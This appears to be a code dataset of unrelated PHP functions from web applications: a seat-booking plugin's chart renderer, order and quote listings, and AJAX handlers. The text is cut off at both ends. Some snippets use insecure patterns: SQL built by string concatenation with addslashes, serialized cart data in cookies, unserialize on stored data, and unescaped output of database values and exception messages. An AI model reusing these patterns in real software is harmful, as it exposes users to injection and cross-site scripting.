type=\"hidden\" name=\"coupondiscount\" id=\"coupondiscount\" value=\"\"/>\n <input type=\"hidden\" name=\"rst_fees\" id=\"rst_fees\" value=\"<?php echo esc_attr($sercharge); ?>\"/>\n\t<input type=\"hidden\" name=\"fee_name\" id=\"fee_name\" value=\"<?php echo esc_attr($fee_name); ?>\"/>\n </form>\n <div class=\"row_seats_confirmation_container\" id=\"rsconfirmation_container2\"></div>\t\n\t<div class=\"row_seats_confirmation_container\" id=\"rsconfirmation_container3\"></div>\n </div>\n </div>\n </div>\n <div class=\"gpBdrLeftBottom\"></div>\n <div class=\"gpBdrRightBottom\"></div>\n <div class=\"gpBdrBottom\"></div>\n </div>\n </div>\n <?php\n $html = '';\n $showid = $showid['id'];\n //print_r($seats);\n $data = getshowbyid($showid);\n $showorder = $data[0]['orient'];\n if ($showorder == 0 || $showorder == '') {\n $seats = rst_seats_operations('list', '', $showid);\n } else {\n $seats = rst_seats_operations('reverse', '', $showid);\n }\n$seatsize=$wpdb->get_var(\"SELECT LENGTH( seatno ) AS fieldlength FROM rst_seats where show_id='\".addslashes($showid).\"' ORDER BY fieldlength DESC LIMIT 1 \");\n//print \"<br>12-\".$seatsize;\nif($seatsize>2)\n{\n$seatsize=5*($seatsize-2);\n}else\n{\n$seatsize=0;\n}\n $divwidth = (($seats[0]['total_seats_per_row']) + 2) * (24+$seatsize);\n $divwidth=$divwidth * $rst_options['rst_zoom'];\n $mindivwidth = 640;\n if ($divwidth < $mindivwidth) {\n $divwidth = $mindivwidth;\n }\n\tif($rst_options['rst_fixed_width'])\n\t{\n\t$divwidth =$rst_options['rst_fixed_width'];\n\t}\n $showname = $data[0]['show_name'];\n $html .= '';\n\t$seat_help='<span class=\"handy showseats\" ></span> <span class=\"show-text\">'.$event_seat_handicap.' </span>';\n\tif($rst_options['rst_seat_help']==\"disable\")\n\t{\n\t$seat_help='';\n\t}\n$colorchat=apply_filters('row_seats_color_selection_css2',$colorchat,$showid);\n$divwidth=apply_filters('row_seats_table_divwidth',$divwidth,$showid);\n $html .= '<div id=\"currentcart\"><div style=\"width: '.$divwidth.'px;\">'.$colorchat.'<span class=\"notbooked showseats\" ></span><span class=\"show-text\">'.$event_seat_available.' </span>\n <span class=\"blocked showseats\" ></span> <span class=\"show-text\">'.$event_seat_inyourcart.' </span>\n <span class=\"un showseats\" ></span> <span class=\"show-text\">'.$event_seat_inotherscart.' </span>\n <span class=\"booked showseats\" ></span> <span class=\"show-text\">'.$event_seat_booked.' </span>'.$seat_help.'<br/><br/>';\n$topheader=\"\";\nif($rst_options['rst_stage_alignment']==\"top\" or !$rst_options['rst_stage_alignment'])\n{\n$topheader='<div class=\"stage-hdng\" style=\"margin-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 10px;width:' . $divwidth . 'px; border:1px solid;border-radius:5px;box-shadow: 5px 5px 2px #888888;\" >'.$event_seat_stage.'</div>';\n}\t\t\n $html .= '</div></div><br><br><br>'.$topheader;\n $rst_bookings = $bookings;\n $sessiondata = base64_encode(serialize($rst_bookings));\n if ($sessiondata != \"\") {\n ?>\n <script>\n jQuery.cookie(\"rst_cart_<?php echo $showid?>\", '<?php echo $sessiondata;?>');\n </script>\n <?php\n }\n $foundcartitems = 0;\n\t$divwidth=apply_filters('row_seats_table_divwidth',$divwidth,$showid);\n //add main_seat div for zoom and alignment\n $html .= '<div class=\"main_seats\"><div class=\"seatplan\" id=\"showid_' . $showid . '\" style=\"width:' . $divwidth . 'px;\">';\n $nextrow = '';\n $dicount = 0;\n for ($i = 0; $i < count($seats); $i++) {\n $data = $seats[$i];\n $nofsets = $data['total_seats_per_row'];\n $nofsets = floor($nofsets / 2);\n//$event_stall=strrev($event_stall);\nfor ($z=0;$z<strlen($event_stall);$z++) {\n$stall[$nofsets+$z]=$event_stall[$z];\n}\n //$stall[$nofsets] = 'S';\n //$stall[$nofsets + 1] = 'T';\n //$stall[$nofsets + 2] = 'A';\n //$stall[$nofsets + 3] = 'L';\n // $stall[$nofsets + 4] = 'L';\n ///\n if ($showorder != 0) {\n$event_stall=strrev($event_stall);\nfor ($z=0;$z<strlen($event_stall);$z++) {\n$stall[$nofsets+$z]=$event_stall[$z];\n}\n //$stall[$nofsets] = 'L';\n //$stall[$nofsets + 1] = 'L';\n //$stall[$nofsets + 2] = 'A';\n // $stall[$nofsets + 3] = 'T';\n //$stall[$nofsets + 4] = 'S';\n }\n//$event_balcony=strrev($event_balcony);\nfor ($z=0;$z<strlen($event_balcony);$z++) {\n$balcony[$nofsets+$z]=$event_balcony[$z];\n}\n //$balcony[$nofsets] = 'B';\n //$balcony[$nofsets + 1] = 'A';\n //$balcony[$nofsets + 2] = 'L';\n //$balcony[$nofsets + 3] = 'C';\n // $balcony[$nofsets + 4] = 'O';\n // $balcony[$nofsets + 5] = 'N';\n // $balcony[$nofsets + 6] = 'Y';\n if ($showorder != 0) {\n$event_balcony=strrev($event_balcony);\nfor ($z=0;$z<strlen($event_balcony);$z++) {\n$balcony[$nofsets+$z]=$event_balcony[$z];\n}\t\t\n //$balcony[$nofsets] = 'Y';\n // $balcony[$nofsets + 1] = 'N';\n // $balcony[$nofsets + 2] = 'O';\n // $balcony[$nofsets + 3] = 'C';\n // $balcony[$nofsets + 4] = 'L';\n // $balcony[$nofsets + 5] = 'A';\n // $balcony[$nofsets + 6] = 'B';\n }\n //\n//$event_circle=strrev($event_circle);\nfor ($z=0;$z<strlen($event_circle);$z++) {\n$circle[$nofsets+$z]=$event_circle[$z];\n}\t\t\n //$circle[$nofsets] = 'C';\n //$circle[$nofsets + 1] = 'I';\n // $circle[$nofsets + 2] = 'R';\n // $circle[$nofsets + 3] = 'C';\n //$circle[$nofsets + 4] = 'L';\n //$circle[$nofsets + 5] = 'E';\n if ($showorder != 0) {\n$event_circle=strrev($event_circle);\nfor ($z=0;$z<strlen($event_circle);$z++) {\n$circle[$nofsets+$z]=$event_circle[$z];\n}\t\t\n //$circle[$nofsets] = 'E';\n // $circle[$nofsets + 1] = 'L';\n // $circle[$nofsets + 2] = 'C';\n // $circle[$nofsets + 3] = 'R';\n // $circle[$nofsets + 4] = 'I';\n //$circle[$nofsets + 5] = 'C';\n }\n $rowname = $data['row_name'];\n $seatno = $data['seatno'];\n $seatcost = $data['seat_price'];\n $seatdiscost = $data['discount_price'];\n $hide_row = $rst_options['row_seats_table_hiderow_'.$showid];\n if ($i == 0) {\n if ($rowname == '') {\n $html .= '<div style=\"clear:both;\"><ul class=\"r\"><li class=\"stall showseats\">' . $rowname . '</li>';\n } else {\n //check hide row is on or not khyati\n \tif($hide_row == 'on'){\n\t\t \t $html .= '<div style=\"clear:both;\"><ul class=\"r\"><li class=\"ltr\"></li>';\n\t\t }else{\n\t\t \t$html .= '<div style=\"clear:both;\"><ul class=\"r\"><li class=\"ltr\">' . $rowname . '</li>';\n\t\t }\n }\n }\n if ($nextrow != $rowname && $i != 0) {\n if ($rowname == '') {\n \tif($hide_row == 'on'){\n $html .= '<li class=\"ltr\"></li></ul></div><div style=\"clear:both;\"><ul class=\"r\"><li class=\"stall showseats\"></li>';\n }else{\n \t$html .= '<li class=\"ltr\">' . $nextrow . '</li></ul></div><div style=\"clear:both;\"><ul class=\"r\"><li class=\"stall showseats\">' . $rowname . '</li>';\n }\n } else {\n if ($nextrow == '') {\n if($hide_row == 'on'){\n $html .= '<li class=\"stall showseats\"></li></ul></div><div style=\"clear:both;\"><ul class=\"r\"><li class=\"ltr\"></li>';\n }else{\n \t$html .= '<li class=\"stall showseats\">' . $nextrow . '</li></ul></div><div style=\"clear:both;\"><ul class=\"r\"><li class=\"ltr\">' . $rowname . '</li>';\n }\n } else {\n //check hide row is on or not khyati\n \tif($hide_row == 'on'){\n $html .= '<li class=\"ltr\"></li></ul></div><div style=\"clear:both;\"><ul class=\"r\"><li class=\"ltr\"></li>';\n }else{\n \t$html .= '<li class=\"ltr\">' . $nextrow . '</li></ul></div><div style=\"clear:both;\"><ul class=\"r\"><li class=\"ltr\">' . $rowname . '</li>';\n }\n }\n }\n }\n $rst_options = get_option(RSTPLN_OPTIONS);\n $dicount = $rst_options['rst_h_disc'];\n if ($dicount != '') {\n $dicount = $seatcost - ($seatcost * ($dicount / 100));\n $dicount = round($dicount, 2);\n } else {\n $dicount = $seatcost;\n }\n $dicount = number_format($dicount, 2, '.', '');\n $seats_avail_per_row = unserialize($data['seats_avail_per_row']);\n $otherscart = false;\n\t\t$cssclassname=\"notbooked\";\n\t\t$cssclassname=apply_filters('row_seats_color_selection_css_name',$cssclassname,$data['seatcolor']);\n\t\t$mouseovertitle='Seat ' . $rowname . ($seatno);\n\t\t$mouseovertitle=apply_filters('row_seats_color_table_mousever',$mouseovertitle,$seatno,$showid);\n if ($data['seattype'] == 'N') {\n $html .= '<li class=\"un showseats\" id=\"' . $showname . '_' . $showid . '_' . $rowname . '_' . $seatno . '_' . $seatno . '\" title=\"' . $mouseovertitle . ' Unavailable\" rel=\"' . $data['seattype'] . '\"></li>';\n } else if ($data['seattype'] == 'Y') {\n $html .= '<li class=\"'.$cssclassname.' showseats\" id=\"' . $showname . '_' . $showid . '_' . $rowname . '_' . $seatno . '_' . $seatno . '\" title=\"' .$mouseovertitle . ' Price ' . $symbol . $seatcost . ' Available\" rel=\"' . $data['seattype'] . '\">' . ($seatno) . '</li>';\n } else if ($data['seattype'] == 'H') {\n $html .= '<li class=\"handy showseats\" id=\"' . $showname . '_' . $showid . '_' . $rowname . '_' . $seatno . '_' . $seatno . '\" title=\"' .$mouseovertitle. ' Discount Price ' . $symbol . $dicount . ' \" rel=\"' . $data['seattype'] . '\">' . $seatno . '</li>';\n } else if ($data['seattype'] == 'B') {\n $html .= '<li class=\"booked showseats\" id=\"' . $showname . '_' . $showid . '_' . $rowname . '_' . $seatno . '_' . $seatno . '\" title=\"' .$mouseovertitle. ' Booked\" rel=\"' . $data['seattype'] . '\">' . $seatno . '</li>';\n } else if ($data['seattype'] == 'T') {\n for ($o = 0; $o < count($rst_bookings); $o++) {\n if ($rst_bookings[$o]['row_name'] == $rowname && $rst_bookings[$o]['seatno'] == $seatno) {\n $otherscart = true;\n }\n }\n if ($otherscart) {\n $foundcartitems++;\n $html .= '<li class=\"blocked showseats\" id=\"' . $showname . '_' . $showid . '_' . $rowname . '_' . $seatno . '_' . $seatno . '\" title=\"' . $mouseovertitle . '\" rel=\"' . $data['seattype'] . '\">' . $seatno . '</li>';\n } else {\n $html .= '<li class=\"b showseats\" id=\"' . $showname . '_' . $showid . '_' . $rowname . '_' . $seatno . '_' . $seatno . '\" title=\"' . $mouseovertitle . ' Blocked\" rel=\"' . $data['seattype'] . '\">' . $seatno . '</li>';\n }\n } else if ($data['seattype'] == 'S')\n $html .= '<li class=\"s showseats\" id=\"' . $showname . '' . $showid . $rowname . $seatno . '\" title=\"\" rel=\"\">' . $stall[$seatno] . '</li>';\n else if ($data['seattype'] == 'L')\n $html .= '<li class=\"l showseats\" id=\"' . $showname . '' . $showid . $rowname . $seatno . '\" title=\"\" rel=\"\">' . $balcony[$seatno] . '</li>';\n else if ($data['seattype'] == 'C')\n $html .= '<li class=\"c showseats\" id=\"' . $showname . '' . $showid . $rowname . $seatno . '\" title=\"\" rel=\"\">' . $circle[$seatno] . '</li>';\n else {\n $html .= '<li class=\"un showseats\" id=\"' . $showname . '' . $showid . $rowname . $seatno . '_' . $seatno . '\" title=\"\" rel=\"\"></li>';\n }\n $nextrow = $rowname;\n }\n if ($foundcartitems == 0) {\n ?>\n <script>\n jQuery.cookie(\"rst_cart_<?php echo $showid?>\", null);\n </script>\n <?php\n }\n //check hide row is on or not khyati\n\tif($hide_row == 'on'){\n $html .= '<li class=\"ltr\"></li></ul></div>';\n }else{\n \t$html .= '<li class=\"ltr\">' . $nextrow . '</li></ul></div>';\n }\n $html .= '</div></div>';// add </div> by khyati\n//$html=\"\";\n$html = apply_filters('row_seats_generel_admission_block_seatchart', $html);\n // cartitems ----->\n$bottomheader=\"\";\nif($rst_options['rst_stage_alignment']==\"bottom\")\n{\n$bottomheader='<br><br><br><br><div class=\"stage-hdng\" style=\"width:' . $divwidth . 'px; border:1px solid;border-radius:5px;box-shadow: 5px 5px 2px #888888;clear:both;float:center;\" >'.$event_seat_stage.'</div><br>';\n}\n $html .= '<div id=\"gap\" style=\"clear:both;float:left;\">&nbsp;</div>'.$bottomheader.'<a NAME=\"view_cart\"></a><div class=\"cartitems\" style=\"width:' . $divwidth . 'px; border:1px solid;border-radius:5px;box-shadow: 5px 5px 2px #888888;\"><div class=\"cart-hdng\"align=\"center\" style=\"border:0px solid;border-radius:5px;\"><strong>'.$event_itemsincart.'</strong> <span style=\"float:right; width: 48px;\"><a href=\"#show_top\"><strong style=\"vertical-align: middle; float:left; color:#000;\">Up</strong><img style=\"margin: 3px 0 0; float:right;\" src=\"' . RSTPLN_URL . 'images/up.png\" alt=\"Up\" title=\"Up\" /></a></span></div><table style=\"color:#51020b;\">';\n if ($rst_bookings != '' && count($rst_bookings) > 0) {\n $total = 0;\n for ($i = 0; $i < count($rst_bookings); $i++) {\n $rst_booking = $rst_bookings[$i];\n $rst_booking['price'] = number_format($rst_booking['price'], 2, '.', '');\n\t\t\t$seattitle=$event_seat_row.' ' . $rst_booking['row_name'] .' - '.$event_seat.' '. ($rst_booking['seatno']) ;\n\t\t\t$seattitle = apply_filters('row_seats_generel_admission_hideticketnumber', $seattitle,$i+1,$showid);\n\t\t\t$seattitle=apply_filters('row_seats_color_table_mousever',$seattitle,$rst_booking['seatno'],$showid);\n $html .= '<tr><td>'.$seattitle. ' '.$languages_added.' - </td><td>&nbsp;&nbsp;&nbsp;&nbsp;</td><td>'.$event_item_cost.':' . $symbol . $rst_booking['price'] . '</td><td><img src=\"' . RSTPLN_URL . 'images/delete.png\" class=\"deleteitem\" id=\"' . $showname . '_' . $showid . '_' . $rst_booking['row_name'] . '_' . ($rst_booking['seatno']) . '\" onclick=\"deleteitem(this);\" style=\"cursor:pointer;border:none!important\"/></td></tr>';\n $total = $total + $rst_booking['price'];\n //$html .= var_dump($rst_booking);\n }\n\t$html = apply_filters('row_seats_seat_restriction_check_filter',$html,$rst_bookings,$showid);\t\t\t\n $html .= '<tr><td></td><td>&nbsp;&nbsp;&nbsp;&nbsp;</td><td class=\"total_price\">'.$event_item_total.':' . $symbol . number_format($total, 2, '.', '') . '</td></tr><tr><td><a class=\"contact rsbutton\" href=\"javascript:void(0);\" >'.$event_item_checkout.'</a></td><td>&nbsp;&nbsp;&nbsp;&nbsp;</td><td><a class=\"rsbutton\" href=\"javascript:void(0);\" id=\"' . $sessiondata . '\" onclick=\"deleteitemall(this);\">'.$event_item_clearcart.'</a></td></tr></table></div>';\n } else {\n $html .= '<tr><td><b><font size=2>'.$cart_is_empty.'</font></b><img src=\"' . RSTPLN_URL . 'images/emptycart.png\" style=\"border:none !important;\"/></td></tr></table></div>';\n }\n // <----- cartitems\n return $html;\n}", "function index() {\n // Build a list of orders\n\n $this->data[\"daysofweek\"] = $this->TimeSchedule->getDays();\n// $temp=$this->TimeSchedule->getDays();\n// var_dump($temp);\n\n $this->data['timeslots'] = $this->TimeSchedule->getTimeslots();\n\n $this->data['courses'] = $this->TimeSchedule->getCourses();\n// $temp2=$this->TimeSchedule->getTimeslots();\n// var_dump($temp2);\n\n $this->data['pagebody'] = 'homepage';\n $this->render();\n }", "public function mycollectedCash(Request $request)\n {\n \n\n $currentdtaetime=date(\"Y-m-d H:i:s\", strtotime(\"+30 minutes\"));\n \n $noofinitorder = Ordercollection::select()->whereDate('finalorderdeliverydt',date(\"Y-m-d\"))->where('sossoid',$request->user()->id)\n ->where('okupdate','1')->where('paidamount','!=','0')->get();\n if(count($noofinitorder) > 0){\n return response()->json($noofinitorder, 200);\n }else{\n return response()->json([\n 'response' => 'error',\n 'message' => 'Problem in data'\n ], 400); \n }\n \n \n }", "public function Ajax()\n {\n //\n isset($_GET['do']) ? $_GET['do'] : '';\n\n if ($_GET['do'] == 'AdminRecord') {\n $d = strtotime('-1 month');//获取30天\n echo date('Y-m-d H:i:s',$d);\n\n }\n }", "function getOrders($orders) {\n $html = '';\n\n for ($i = 0; $i < sizeof($orders); $i++) {\n $order = $orders[$i];\n\n $dateCreated = $order['dateCreated'];\n $dateCreated = new DateTime($dateCreated->toDateTime()->format('Y-m-d H:i:s'));\n\n $html .= '<tr>\n <td class=\"order-row\">' . $dateCreated->format('d/m/Y') . '</td>\n <td class=\"order-row\">' . $order['orderNumber'] . '</td>\n <td class=\"order-row\">' . '£' . $order['summary']['grandTotal'] . '</td>\n <td class=\"order-row\">' . $order['status'] . '</td>\n <td align=\"middle\" class=\"order-row\">\n <button class=\"btn btn-outline-dark btn-sm view-order\" id=\"' . $order['_id'] . '\" onclick=\"viewOrderHistory(this)\">\n View\n </button>\n </td>\n </tr>';\n }\n\n return $html;\n}", "public function indexAction() {\n if(isset($_SESSION['fhost'])&&isset($_SESSION['fstatus'])&&isset($_SESSION['faction_pay'])){\n $this -> smarty -> assign('fhost', $_SESSION['fhost']);\n $this -> smarty -> assign('fstatus', $_SESSION['fstatus']);\n $this -> smarty -> assign('faction_pay', $_SESSION['faction_pay']);\n } else {\n $this -> smarty -> assign('fhost', \"\");\n $this -> smarty -> assign('fstatus', \"\");\n $this -> smarty -> assign('faction_pay', 2);\n }\n\n\t\tif( ($this->_hasParam('page')&&$this->_getParam('page')==0)\n\t\t\t||!$this->_hasParam('page')\n\t\t\t||(($this->_hasParam('page')&&$this->_getParam('page')>1) && ($this -> orders ->getAdminOrdersPagesCount()<=1 ))\n\t\t\t||($this->_getParam('page')>1&&$this -> orders ->getAdminOrdersPagesCount()<$this->_getParam('page'))\n\t\t){\n\t\t\t$this->_redirect(\"/admin/orders/index/page/1\");\n\t\t}\n\t\t\n\t\t$page = $this->_hasParam('page')?((int)$this->_getParam('page')-1):0;\n\n\t\t$ordersData = $this -> orders ->getAdminOrdersForPage($page);\n\n for($i=0; $i<sizeof($ordersData); $i++){\n if($ordersData[$i]['user_id']>0){\n $userData = $this->users->getUserById($ordersData[$i]['user_id']);\n $ordersData[$i]['client_name'] = $userData['first_name'];\n } else {\n $ordersData[$i]['client_name'] = '';\n }\n }\n\n //die();\n $this -> smarty -> assign('sites', $this->site->getAllSites());\n $this -> smarty -> assign('orders', $ordersData);\n $this -> smarty -> assign('countpage', $this -> orders ->getAdminOrdersPagesCount());\n $this -> smarty -> assign('page',$page+1);\n $this -> smarty -> assign('PageBody', 'admin/orders/items_list.tpl');\n $this -> smarty -> assign('Title', 'Orders List');\n $this -> smarty -> display('admin/index.tpl');\n }", "private function getAllOrders()\n {\n try\n {\n $this->db->openConnection();\n $connection = $this->db->getConnection();\n $statement = $connection->prepare(\"SELECT o.order_id, u.username, o.`date`\n FROM orders o\n INNER JOIN `user` u\n ON u.user_id = o.user_id\n WHERE o.active = true\"\n );\n if($statement->execute())\n {\n $results = $statement->fetchAll(PDO::FETCH_ASSOC);\n \n foreach($results as $arr)\n {\n echo \"<tr class='clickableRow orders'>\";\n echo \"<td data-order-id=\".utf8_encode($arr['order_id']).\">\".utf8_encode($arr['order_id']).\"</td>\"; \n echo \"<td>\".utf8_encode($arr['username']).\"</td>\";\n echo \"<td>\".utf8_encode($arr['date']).\"</td>\";\n echo \"</tr>\";\n }\n }\n } catch (PDOException $ex)\n {\n $this->db->showError($ex, false);\n } finally\n {\n $this->db->closeConnection();\n }\n }", "function bootCustomerAction()\n\t{\n\t\tif($this->_request->isPost() && $_SERVER['HTTP_X_REQUESTED_WITH']=='XMLHttpRequest')\n\t\t{\n\t\t\t$request = $this->_request->getParams();\n\t\t\t$quote_obj = new Ep_Quote_Quotes();\n\t\t\t$quote_obj->updateQuote(array('boot_customer'=>date('Y-m-d')),$request['qid']);\n\t\t\techo 'Client relanc&eacute; le '.date('d/m/Y');\n\t\t}\t\n\t}", "public function getTransactionByAjax()\n {\n $data = [];\n try {\n $orders = Invoice::whereHas('invoiceDetail.testPackage', function ($query) {\n if (Auth::guard('tutor')->check()) {\n $tutor_id = Auth::guard('tutor')->user()->TutorID;\n $query->where('TutorID', $tutor_id);\n }\n })\n ->whereHas('paymentTransaction', function ($query) {\n if (Auth::guard('tutor')->check()) {\n $query->where('ExternalTransactionStatusID', 3);\n }\n })\n ->select(DB::raw(\"convert(date, CreateDate, 105) as sale_date, SUM(Amount) as total_count\"))\n ->groupBy(DB::raw(\"convert(date, CreateDate, 105)\"))\n ->orderBy(DB::raw(\"convert(date, CreateDate, 105)\", 'ASC'))\n ->get()->toArray();\n\n $total = array_column($orders, 'total_count');\n $date = array_column($orders, 'sale_date');\n $data['total'] = $total;\n $data['date'] = $date; \n return $data;\n } catch (\\Exception $e) {\n echo $e->getMessage();\n Log::channel('loginfo')->error('Get date wise total price by ajax.',['PurchasePackagesRepository/getTransactionByAjax', $e->getMessage()]);\n return false;\n }\n return $data;\n }", "public function actionAjaxCustomer()\n { \n $this->layout = false;\n if ( Yii::$app->request->post() ) {\n $woId = Yii::$app->request->post()['woId'];\n $quotation_type = Yii::$app->request->post()['quotation_type'];\n if ($quotation_type == 'work_order'){\n $workOrder = WorkOrder::find()->where(['id' => $woId])->one();\n return $workOrder->customer_id;\n } else {\n $uphostery = Uphostery::find()->where(['id' => $woId])->one();\n return $uphostery->customer_id;\n }\n }\n }", "public function getFutureRevisitOrders()\n {\n return \\DB::select(\"SELECT a.id, a.propaddress1, a.propaddress2, a.propcity, a.propstate, a.propzip, s.descrip as status_name FROM appr_dashboard_delay_order d LEFT JOIN appr_order a ON (a.id=d.orderid) LEFT JOIN order_status s ON (a.status=s.id) WHERE d.created_date BETWEEN :from AND :to AND d.delay_date > :today\", [':from' => strtotime('today'), ':to' => strtotime('tomorrow'), ':today' => strtotime('tomorrow')]);\n }", "public function getWaiverTransactionByWeek_post() {\n $this->form_validation->set_rules('ContestGUID', 'ContestGUID', 'trim|required|callback_validateEntityGUID[Contest,ContestID]');\n $this->form_validation->validation($this); /* Run validation */\n $TransactionHistory = $this->SnakeDrafts_model->getWaiverTransactionByWeek($this->ContestID);\n if ($TransactionHistory) {\n $this->Return['Data'] = $TransactionHistory;\n }\n }", "function jx_pnh_getfranchiseordersbydate()\r\n\t{\r\n\t\t$data['stat'] = $this->input->post('stat');\r\n\t\t$data['fid'] = $this->input->post('fid');\r\n\t\t$data['st_ts'] = strtotime($this->input->post('ord_fil_from').' 00:00:00');\r\n\t\t$data['en_ts'] = strtotime($this->input->post('ord_fil_to').' 23:59:59');\r\n\t\t$this->load->view(\"admin/body/jx_pnh_franchiseorderlist\",$data);\r\n\t}", "function get_this_day_backups_callback_wptc() {\r\n\r\n\tWPTC_Base_Factory::get('Wptc_App_Functions')->verify_ajax_requests();\r\n\r\n\t//note that we are getting the ajax function data via $_POST.\r\n\t$backupIds = $_POST['data'];\r\n\r\n\t//getting the backups\r\n\t$processed_files = WPTC_Factory::get('processed-files');\r\n\techo $processed_files->get_this_backups_html($backupIds);\r\n}", "static public function getOrder($request)\n {\n $params = [\n 'user_data_id' => (int) getenv('AMTEL_USER_DATA_ID'), // (int) * – Идентификатор клиента\n 'state_present' => $request->input('state_present'), // Только заказы находящиеся в статусах, если null, то возвращаются заказы во всех статусах.\n 'state_except' => $request->input('state_except'), // Только заказы не находящиеся в статусах, если null, то возвращаются заказы во всех статусах.\n 'order_header_id_list' => $request->input('order_list'), // Получение содержимого только для указанных заказов\n 'from_date' => $request->input('from_date'), // С даты, в формате yyyy-mm-dd hh:mm:ss.\n 'to_date' => $request->input('to_date'), // По дату, в формате yyyy-mm-dd hh:mm:ss.\n 'tags' => $request->input('tags'), //Массив тегов, по которым осуществить фильтрацию.\n //filter_headers_by_list – Фильтровать список заказов по идентификаторам в order_header_id_list.\n ];\n\n try {\n $res = json_decode(self::get('/order', $params, false), true);\n Log::info('get order=' . print_r($res, 1));\n\n return $res;\n //return self::explodeOrders($res);\n } catch (\\Exception $e) {\n Log::error($e);\n throw new HttpException(500, $e->getMessage());\n }\n }", "function returned_orders() {\n global $wpdb;\n $woo_cust_id = get_current_user_id();\n $returned_orders = $wpdb->get_results( $wpdb->prepare( \"SELECT * FROM randys_orders o LEFT JOIN randys_customers c ON c.custnmbr = o.randys_customer_id WHERE c.woocustid=%s AND status='returned'\", array($woo_cust_id) ) );\n\n return $returned_orders;\n}", "public function orders()\n {\n UserModel::authentication();\n\n //get the session user\n $user = UserModel::user();\n\n //get the user's orders\n $buyorders = TradesModel::OpenOrders('buy');\n $sellorders = TradesModel::OpenOrders('sell');\n\n $this->View->RenderPage_sidebar('dashboard/orders', ['buyorders' => $buyorders, 'sellorders' => $sellorders]);\n }", "protected function getViewData()\n {\n if (isset($_SESSION['session'])) {\n $session = $_SESSION['session'];\n $stmt = $this->_database->prepare('SELECT\n angebot.name, angebot.id, angebot_bestellung.id,\n angebot_bestellung.status, angebot_bestellung.bestellung_id, bestellung.status\n FROM angebot_bestellung\n INNER JOIN angebot ON angebot.id = angebot_bestellung.angebot_id\n INNER JOIN bestellung\n ON bestellung.id = angebot_bestellung.bestellung_id\n WHERE bestellung.session_id = ? AND (bestellung.status <=1 || bestellung.status IS NULL)');\n $stmt->bind_param('i', $session);\n \n if ($stmt->execute()) {\n $stmt->bind_result($name, $supplyId, $id, $pizzastatus, $orderId ,$orderstatus);\n $this->_orders = array();\n \n while ($stmt->fetch()) {\n if (!isset($this->_orders[$orderId])) {\n $this->_orders[$orderId] = array();\n }\n $pizzastatus = $orderstatus == 1 ? 3 : $pizzastatus;\n $this->_orders[$orderId][$id] = array(\n 'id' => $supplyId,\n 'name' => $name,\n 'status' => $pizzastatus\n );\n }\n }\n }\n else{\n echo'<script>console.log(\"session NOT set!\");</script>'; \n }\n }", "function get_hostel_food_menu()\n\t {\n\t\t$today_date = date(\"d-m-Y\");\n\t\t$today_day = date('l', strtotime($today_date));\n\t\t$week_days = array('Monday', 'Tuesday', 'Wednesday','Thursday','Friday','Saturday','Sunday');\n\t\t$temp_array = array_search($today_day,$week_days);\n\t\t\n\t\t$start_date = strtotime(date(\"d-m-Y\", strtotime($today_date)) . '-'.$temp_array.'day');\n\t\t$end_date = strtotime(date(\"d-m-Y\",$start_date) . \" +5 day\");\n\t\t\n\t\t$food_list \t= $this ->ObjM->food_list($start_date,$end_date);\n\t\t//echo $this->db->last_query(); exit;\n\t\t\n\t\tif(count($food_list)<1){\n\t\t\t$json_arr[]=array('validation'=>'false');\t\n\t\t\techo json_encode($json_arr);\n\t\t\texit;\t \n\t\t}\n\t\t\n\t\tfor($i=0;$i<count($food_list);$i++){\n\t\t $food_date = date('d-m-Y',$food_list[$i]['date']);\t\n\t\t\t\n\t\t $json_arr[]=array(\n\t\t\t\t\t'date'\t\t\t\t=>\t$food_date,\n\t\t\t\t\t'day'\t\t\t\t=>\t$food_list[$i]['day'],\n\t\t\t\t\t'lunch'\t\t\t\t=>\t$food_list[$i]['food_name'],\n\t\t\t\t\t'dinner'\t\t\t=>\t$food_list[$i]['dinner_name'],\n\t\t\t\t\t'validation'\t \t=>\t'true' );\n\t\t }\n\t\t echo json_encode($json_arr);\n\t\t\texit;\n\t }", "public function OrderList(Request $request){\n // 'user_id' => 'required',\n // ]);\n // if($validation->fails()) {\n // return array('status'=>500,'message'=>'Validation Alert','image_base_prefix_url'=>'http://technodeviser.com/grocerydelivery/','data'=>$validation->getMessageBag());\n // }\n $user = auth('api')->user();\n $user_id = $user->user_id;\n $orders = DB::connection('mysql_sec')->table('orders')\n ->where('user_id',$user_id)->orderBy('order_id', 'DESC')->get();\n foreach($orders as $order){\n $time_id =$order->time_slot;\n $time = DB::connection('mysql_sec')->table('store_time_slot')\n ->where(['id'=>$time_id])->first();\n if($time){\n $order->time_slot = $time->opening_time.' - '.$time->closing_time;\n }\n }\n return apiResponse(true,202,$orders);\n }", "public function get_all_my_orders()\n {\n return $this->_request('allmyorders');\n }", "public function salesQuotesListAction()\n\t{\t\t\n\t\t$quote_obj=new Ep_Quote_Quotes();\n\t\t$listParams=$this->_request->getParams();\n\t\t$searchParams['client_id']=$listParams['client_id'];\n\n\t\t$quoteList=$quote_obj->getAllQuotesList($searchParams);\t\n\t\t\n\t\tif($quoteList)\n\t\t{\n\t\t\t$q=0;\n\t\t\t$total_turnover = $total_ongoing_turnover_euro = $total_ongoing_turnover_pound = $validated_turnover_euro = $validated_turnover_pound = $signed_turnover_euro = $signed_turnover_pound = 0;\n\t\t\t$ave_count=$relancer_turnover_pound=$relancer_turnover_euro=$in_day=0;\n\t\t\t$in_day=0;\n\t\t\tforeach ($quoteList as $quote) {\n\t\t\t\t\n\t\t\t\t$quoteList[$q]['tech_status']=$this->status_array[$quote['tec_review']];\n\t\t\t\t$quoteList[$q]['seo_status']=$this->status_array[$quote['seo_review']];\n\t\t\t\t$quoteList[$q]['prod_status']=$this->status_array[$quote['prod_review']];\n\t\t\t\t$quoteList[$q]['sales_status']=$this->status_array[$quote['sales_review']];\n\t\t\t\t$quoteList[$q]['category_name']=$this->getCategoryName($quote['category']);\n\t\t\t\t$quoteList[$q]['closed_reason_txt'] = $this->closedreason[$quote['closed_reason']];\n\t\t\t\tif($quote['tech_timeline'])\n\t\t\t\t{\t\t\t\t\t\n\t\t\t\t\t$quoteList[$q]['tech_challenge_time']=strtotime($quote['tech_timeline']);\n\t\t\t\t}\t\n\t\t\t\tif($quote['seo_timeline'])\n\t\t\t\t{\n\t\t\t\t\t$quoteList[$q]['seo_challenge_time']=strtotime($quote['seo_timeline']);\n\t\t\t\t}\n\n\t\t\t\t$client_obj=new 